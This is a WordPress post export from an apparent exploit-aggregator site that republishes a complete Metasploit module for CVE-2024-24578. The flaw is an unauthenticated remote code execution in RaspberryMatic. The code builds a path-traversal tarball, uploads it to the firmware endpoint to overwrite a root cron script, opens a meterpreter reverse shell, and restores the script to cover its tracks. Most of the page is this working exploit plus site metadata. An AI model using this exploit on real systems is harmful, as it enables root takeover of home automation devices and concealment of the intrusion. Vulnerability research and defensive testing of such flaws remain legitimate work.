{"id":15135,"date":"2025-08-29T15:38:20","date_gmt":"2025-08-29T15:38:20","guid":{"rendered":"http:\/\/localhost\/?p=15135"},"modified":"2025-08-29T15:38:20","modified_gmt":"2025-08-29T15:38:20","slug":"raspberrymatic-unauthenticated-remote-code-execution-vulnerability-through-hmserver-file-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15135","title":{"rendered":"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:25:55&#8243;,&#8221;description&#8221;:&#8221;RaspberryMatic \/ OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple           issues within the Java&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:34&#8243;,&#8221;modified&#8221;:&#8221;2025-02-21T18:53:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-24578&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload.&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          RaspberryMatic \/ OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple\\n          issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached\\n          through the URL `\/pages\/jpages\/system\/DeviceFirmware\/addFirmware`.\\n          This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be\\n          automatically extracted without any further checks. As this entry can contain ..\/sequences, it is possible to\\n          break out of the predefined temp directory and write files to other locations outside this path.\\n\\n          This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files\\n          on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in\\n          `\/usr\/local\/addons\/mediola\/bin\/`, which will be executed every five minutes through a cron job where attackers\\n          can gain remote code execution as root user, allowing a full system compromise.\\n\\n          RaspberryMatic versions \\u003c= `3.73.9.20240130` are vulnerable.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die-gr3y \\u003ch00die.gr3y[at]gmail.com\\u003e&#8217;, # MSF module contributor\\n          &#8216;h0ng10 \\u003chttps:\/\/git.hub\/h0ng10\\u003e&#8217; # discovery of this vulnerability\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2024-24578&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/ywHhBnSObR\/cve-2024-24578&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/jens-maus\/RaspberryMatic\/security\/advisories\/GHSA-q967-q4j8-637h&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2024-03-16&#8217;,\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n        &#8216;Privileged&#8217; =\\u003e true,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Unix\/Linux Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n              &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n              &#8216;Type&#8217; =\\u003e :unix_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/linux\/http\/aarch64\/meterpreter_reverse_tcp&#8217;,\\n                &#8216;FETCH_WRITABLE_DIR&#8217; =\\u003e &#8216;\/tmp&#8217;\\n              }\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;SSL&#8217; =\\u003e true,\\n          &#8216;RPORT&#8217; =\\u003e 443,\\n          &#8216;WfsDelay&#8217; =\\u003e 5 * 60 # wait at least five minutes for RCE\\n        },\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n        }\\n      )\\n    )\\n    register_options([\\n      OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The RaspberryMatic endpoint URL&#8217;, &#8216;\/&#8217; ]),\\n    ])\\n  end\\n\\n  # Method to construct malicious file in .tgz form\\n  # @param payload [String] to upload\\n  # @param fpath [String] to write the payload contents\\n  # @return [Rex::Text] Malicious .tgz form\\n  def create_malicious_tgz(payload, fpath)\\n    tarfile = StringIO.new\\n    Rex::Tar::Writer.new tarfile do |tar|\\n      tar.add_file(fpath.to_s, 0o777) do |io|\\n        io.write payload\\n      end\\n    end\\n    # tarfile.rewind\\n    # tarfile.close\\n\\n    Rex::Text.gzip(tarfile.string)\\n  end\\n\\n  # CVE-2024-24578: remote code execution via zip slip overwriting watchdog script\\n  # affected components:\\n  # web endpoint \/pages\/jpages\/system\/DeviceFirmware\/addFirmware\\n  # shell script \/usr\/local\/addons\/mediola\/bin\/watchdog\\n  def execute_command(cmd, _opts = {})\\n    # create malicious compressed tar file (tgz) to overwrite watchdog script\\n    # with malicious payload triggering the RCE\\n    fname = Rex::Text.rand_text_alphanumeric(8..12)\\n    fpath = &#8216;..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/\/usr\/local\/addons\/mediola\/bin\/watchdog&#8217;\\n    payload_tgz = create_malicious_tgz(cmd, fpath)\\n\\n    # construct multipart form data\\n    form_data = Rex::MIME::Message.new\\n    form_data.add_part(payload_tgz, &#8216;application\/gzip&#8217;, &#8216;binary&#8217;, \\&#8221;form-data; name=\\\\\\&#8221;file\\\\\\&#8221;; filename=\\\\\\&#8221;#{fname}.tgz\\\\\\&#8221;\\&#8221;)\\n\\n    # upload the malicious tgz file\\n    print_status(\\&#8221;Uploading #{fname}.tgz\\&#8221;)\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;pages&#8217;, &#8216;jpages&#8217;, &#8216;system&#8217;, &#8216;DeviceFirmware&#8217;, &#8216;addFirmware&#8217;),\\n      &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{form_data.bound}\\&#8221;,\\n      &#8216;data&#8217; =\\u003e form_data.to_s\\n    })\\n    fail_with(Failure::NoAccess, \\&#8221;Upload #{fname}.tgz is not successful.\\&#8221;) unless res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;${addDevFirmwareInfoCorrupt}&#8217;)\\n    print_status(&#8216;Waiting 5 minutes for watchdog execution via cron to trigger the RCE.&#8217;)\\n  end\\n\\n  def on_new_session(session)\\n    # restore orginal watchdog script to cover our tracks\\n    print_status(&#8216;Restoring original watchdog script.&#8217;)\\n    if session.type == &#8216;meterpreter&#8217;\\n      session.sys.process.execute(&#8216;\/bin\/sh&#8217;, &#8216;-c \\&#8221;echo -ne \\\\&#8217;#!\/bin\/sh\\\\nif [ -e \/etc\/config\/neoDisabled ];then\\\\n\\\\texit 0\\\\nfi\\\\n\\\\n\\\\&#8217; \\u003e \/usr\/local\/addons\/mediola\/bin\/watchdog\\&#8221;&#8216;)\\n      session.sys.process.execute(&#8216;\/bin\/sh&#8217;, &#8216;-c \\&#8221;echo -ne \\\\&#8217;if [ -e \/usr\/local\/addons\/mediola\/Disabled ];then\\\\n\\\\texit 0\\\\nfi\\\\n\\\\n\\\\&#8217; \\u003e\\u003e \/usr\/local\/addons\/mediola\/bin\/watchdog\\&#8221;&#8216;)\\n      session.sys.process.execute(&#8216;\/bin\/sh&#8217;, &#8216;-c \\&#8221;echo -ne \\\\&#8217;PIDOFD=\\\\$(pgrep -f \\\\\\&#8221;neo_server.*automation.js\\\\\\&#8221;)\\\\n\\\\n\\\\&#8217; \\u003e\\u003e \/usr\/local\/addons\/mediola\/bin\/watchdog\\&#8221;&#8216;)\\n      session.sys.process.execute(&#8216;\/bin\/sh&#8217;, &#8216;-c \\&#8221;echo -ne \\\\&#8217;if [ -z \\\\\\&#8221;\\\\$PIDOFD\\\\\\&#8221; ]; then\\\\n\\\\t\/usr\/local\/etc\/config\/rc.d\/97NeoServer start\\\\nfi\\\\n\\\\&#8217; \\u003e\\u003e \/usr\/local\/addons\/mediola\/bin\/watchdog\\&#8221;&#8216;)\\n    else\\n      session.shell_command_token(\\&#8221;echo -ne &#8216;#!\/bin\/sh\\\\nif [ -e \/etc\/config\/neoDisabled ];then\\\\n\\\\texit 0\\\\nfi\\\\n\\\\n&#8217; \\u003e \/usr\/local\/addons\/mediola\/bin\/watchdog\\&#8221;)\\n      session.shell_command_token(\\&#8221;echo -ne &#8216;if [ -e \/usr\/local\/addons\/mediola\/Disabled ];then\\\\n\\\\texit 0\\\\nfi\\\\n\\\\n&#8217; \\u003e\\u003e \/usr\/local\/addons\/mediola\/bin\/watchdog\\&#8221;)\\n      session.shell_command_token(\\&#8221;echo -ne &#8216;PIDOFD=$(pgrep -f \\\\\\&#8221;neo_server.*automation.js\\\\\\&#8221;)\\\\n\\\\n&#8217; \\u003e\\u003e \/usr\/local\/addons\/mediola\/bin\/watchdog\\&#8221;)\\n      session.shell_command_token(\\&#8221;echo -ne &#8216;if [ -z \\\\\\&#8221;$PIDOFD\\\\\\&#8221; ]; then\\\\n\\\\t\/usr\/local\/etc\/config\/rc.d\/97NeoServer start\\\\nfi\\\\n&#8217; \\u003e\\u003e \/usr\/local\/addons\/mediola\/bin\/watchdog\\&#8221;)\\n    end\\n    super\\n  end\\n\\n  def check\\n    print_status(\\&#8221;Checking if #{peer} can be exploited.\\&#8221;)\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/config\/help.cgi&#8217;)\\n    })\\n    return CheckCode::Unknown(&#8216;No valid response received from target.&#8217;) unless res\\u0026.code == 200 \\u0026\\u0026 res.body.include?(&#8216;${dialogHelpInfoLblVersion}&#8217;)\\n\\n    # parse the version number\\n    # Examples:\\n    # ${dialogHelpInfoLblVersion} 3.73.9.20240130\\n    # ${dialogHelpInfoLblVersion} 3.73.9\\n    version = res.body.match(\/\\\\$\\\\{dialogHelpInfoLblVersion\\\\}\\\\s*\\\\d{1,2}\\\\.\\\\d{1,2}\\\\.\\\\d{1,2}\/)\\n    # when found, remove whitespaces to avoid suprises in string splitting and comparison\\n    unless version.nil?\\n      version_number = version[0].gsub(\/[[:space:]]\/, &#8221;).split(&#8216;}&#8217;)[1]\\n      # Check if target is vulnerable\\n      if version_number\\n        if Rex::Version.new(version_number) \\u003c= Rex::Version.new(&#8216;3.73.9&#8217;)\\n          return CheckCode::Appears(\\&#8221;RaspberryMatic #{version_number}\\&#8221;)\\n        else\\n          return CheckCode::Safe(\\&#8221;RaspberryMatic #{version_number}\\&#8221;)\\n        end\\n      end\\n    end\\n    CheckCode::Unknown(\\&#8221;Parsing version info from #{normalize_uri(target_uri.path, &#8216;\/config\/help.cgi&#8217;)} failed.\\&#8221;)\\n  end\\n\\n  def exploit\\n    print_status(\\&#8221;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}\\&#8221;)\\n    case target[&#8216;Type&#8217;]\\n    when :unix_cmd\\n      execute_command(payload.encoded)\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/http\/raspberrymatic_unauth_rce_cve_2024_24578.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/http\/raspberrymatic_unauth_rce_cve_2024_24578\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:25:55&#8243;,&#8221;description&#8221;:&#8221;RaspberryMatic \/ OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:34&#8243;,&#8221;modified&#8221;:&#8221;2025-02-21T18:53:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,169,13,7,11,5],"class_list":["post-15135","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15135\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:25:55&#8243;,&#8221;description&#8221;:&#8221;RaspberryMatic \/ OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:34&#8243;,&#8221;modified&#8221;:&#8221;2025-02-21T18:53:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15135\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T15:38:20+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15135#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15135\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578-\",\"datePublished\":\"2025-08-29T15:38:20+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15135\"},\"wordCount\":1417,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15135#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15135\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15135\",\"name\":\"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T15:38:20+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15135#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15135\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15135#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15135","og_locale":"en_US","og_type":"article","og_title":"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:25:55&#8243;,&#8221;description&#8221;:&#8221;RaspberryMatic \/ OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:34&#8243;,&#8221;modified&#8221;:&#8221;2025-02-21T18:53:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer...","og_url":"https:\/\/zero.redgem.net\/?p=15135","og_site_name":"zero redgem","article_published_time":"2025-08-29T15:38:20+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15135#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15135"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578-","datePublished":"2025-08-29T15:38:20+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15135"},"wordCount":1417,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15135#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15135","url":"https:\/\/zero.redgem.net\/?p=15135","name":"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T15:38:20+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15135#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15135"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15135#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"RaspberryMatic unauthenticated Remote Code Execution vulnerability through HMServer File Upload._MSF:EXPLOIT-LINUX-HTTP-RASPBERRYMATIC_UNAUTH_RCE_CVE_2024_24578-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15135"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15135\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15135"}],"curies":[{"name":"wp","href":"https:\/\/a